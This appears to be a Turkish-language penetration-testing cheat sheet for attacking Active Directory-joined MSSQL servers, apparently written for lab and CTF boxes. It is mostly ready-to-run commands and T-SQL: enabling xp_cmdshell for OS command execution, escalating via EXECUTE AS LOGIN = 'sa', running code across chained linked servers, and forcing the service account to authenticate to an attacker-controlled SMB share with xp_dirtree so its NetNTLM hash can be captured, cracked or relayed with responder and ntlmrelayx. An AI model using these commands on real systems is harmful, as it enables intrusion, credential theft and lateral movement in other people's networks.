AD MSSQL İstismarı — xp_cmdshell / Linked Server / EXECUTE AS / xp_dirtree NetNTLM Relay
Domain entegre MSSQL'e Windows auth ile bağlanıp xp_cmdshell ile RCE, linked server / EXECUTE AS ile yetki yükseltme ve xp_dirtree ile servis hesabının NetNTLM hash'ini çalıp relay/crack etme.
- MSSQL'e bir login: domain kullanıcısı ({{USER}}:{{PASS}} / {{NTHASH}}), SQL login ya da güvenilen bir oturum
- Hedef 1433/TCP erişilebilir (ya da Browser 1434/UDP ile instance keşfi)
- RCE için sysadmin rolü ya da ona ulaştıran impersonation/linked-server zinciri
Komutlar
nxc mssql {{RHOSTS}} -u {{USER}} -p '{{PASS}}' --local-auth nxc mssql {{RHOST}} -u {{USER}} -p '{{PASS}}' -q 'SELECT @@version; SELECT IS_SRVROLEMEMBER(''sysadmin'')' impacket-mssqlclient {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}} -windows-auth enable_xp_cmdshell nxc mssql {{RHOST}} -u {{USER}} -p '{{PASS}}' -X 'whoami' --local-auth EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'; SELECT SYSTEM_USER; EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER('sysadmin'); SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'; EXEC sp_linkedservers; SELECT srvname, isremote FROM sysservers; EXEC ('SELECT SYSTEM_USER; SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [LINKED\SQL]; EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami''') AT [LINKED\SQL]; nxc mssql {{RHOST}} -u {{USER}} -p '{{PASS}}' -M mssql_priv EXEC master..xp_dirtree '\\{{LHOST}}\share', 1, 1; responder -I {{INTERFACE}} -wv impacket-ntlmrelayx -t smb://{{RHOST}} -smb2support --no-http-server -i EXEC master..xp_subdirs '\\{{LHOST}}\share'; Domain ortamlarında MSSQL hem RCE hem yatay hareket için bereketli bir hedeftir, çünkü genelde Windows entegre kimlik doğrulama kullanır ve servis hesabı çoğu zaman aşırı yetkilidir. Akış: prereq (bir login) -> enum (rol/impersonation/linked) -> attack (xp_cmdshell veya zincir) -> result (RCE / yeni kimlik / NetNTLM hash).
0. Erişim ve Bağlanma
Önce login’in çalıştığını teyit et: nxc mssql {{RHOSTS}} -u {{USER}} -p '{{PASS}}'. Domain hesabı için --local-auth KULLANMA; yerel SQL login için kullan. İnteraktif çalışmak için impacket-mssqlclient ... -windows-auth (Kerberos için -k -no-pass, hash için -hashes :{{NTHASH}}). Bağlanınca hemen rolünü ölç: SELECT IS_SRVROLEMEMBER('sysadmin'). 1 dönerse doğrudan 1. adıma; 0 ise 2/3. adımdaki yükseltme zincirlerine bak.
1. xp_cmdshell ile RCE
sysadmin isen xp_cmdshell ile OS komutu çalıştırırsın. Kapalıysa açman gerekir: sp_configure 'show advanced options',1; RECONFIGURE ardından sp_configure 'xp_cmdshell',1; RECONFIGURE. mssqlclient’in kısayolu enable_xp_cmdshell, NetExec’in ise -X/-x bayrağı modülü otomatik açar. Komutlar SQL Server servis hesabının bağlamında çalışır (genelde NT Service\MSSQLSERVER, gMSA ya da bir domain servis hesabı) — bu hesabın yetkisi senin shell’inin yetkisidir. Buradan bir reverse shell çekip foothold’unu kalıcılaştırırsın.
2. EXECUTE AS / Impersonation ile Privesc
sysadmin değilsen ama IMPERSONATE hakkın varsa başka bir login’e geçebilirsin. Önce kimleri taklit edebileceğini bul (sys.server_permissions sorgusu), sonra EXECUTE AS LOGIN = 'sa'. Eğer hedef sysadmin ise artık SELECT IS_SRVROLEMEMBER('sysadmin') = 1 döner ve 1. adıma geçersin. İşin bitince REVERT ile orijinal kimliğine dön. Çoğu PG/HTB kutusunda zincir: düşük login -> EXECUTE AS ile sa -> xp_cmdshell -> SYSTEM/servis hesabı.
3. Linked Server (EXECUTE AT)
MSSQL sunucuları sık sık birbirine linked server ile güvenir, ve bu bağlantı çoğu zaman uzak tarafta sysadmin haklarıyla yapılandırılır. EXEC sp_linkedservers ile listele, sonra EXEC ('...sorgu...') AT [LINKED\SQL] ile uzak sunucuda kod çalıştır. Uzak login sysadmin ise oradaki xp_cmdshell’i açıp ikinci sunucuda da RCE alırsın — ve linked server’ları zincirleyerek ağın derinine inebilirsin (AT içinde tekrar AT ile nested). NetExec’in mssql_priv modülü bu impersonation/linked yollarını otomatik tarar.
4. xp_dirtree ile NetNTLM Hırsızlığı ve Relay
sysadmin değilsen bile (public yeter) SQL servis hesabını saldırgan makinene kimlik doğrulamaya zorlayabilirsin: EXEC master..xp_dirtree '\\{{LHOST}}\share'. SQL servis hesabı senin SMB’ne NetNTLMv2 ile bağlanır. İki kullanım: (a) responder -I {{INTERFACE}} ile hash’i yakala, hashcat -m 5600 ile kır; (b) hash kırılamıyorsa impacket-ntlmrelayx -t smb://{{RHOST}} ile başka bir host’a relay et — hedefte SMB signing kapalı VE servis hesabı orada admin ise komut/dump alırsın. xp_dirtree filtreliyse xp_subdirs ya da xp_fileexist aynı işi görür. Bu, MSSQL’in en sessiz ve en az ayrıcalık isteyen lateral yoludur.
Sık Hatalar
- Servis hesabı bağlamı: xp_cmdshell komutları senin domain kullanıcın olarak değil, SQL servis hesabı olarak çalışır; whoami ile teyit et.
- —local-auth karışıklığı: Domain auth’ta bu bayrağı koyarsan login başarısız olur.
- xp_dirtree relay için signing: Hedefte SMB signing zorunluysa relay başarısız olur; o zaman sadece capture+crack yolu kalır.
- EXECUTE AS sonrası REVERT: Taklit oturumunu kapatmazsan sonraki sorgular yanlış bağlamda çalışır.
- Kerberos için FQDN:
-kile bağlanırken MSSQL host’unu FQDN ve doğru SPN (MSSQLSvc/…) ile ver; IP Kerberos’u bozar, clock skew için saatini DC’ye eşle.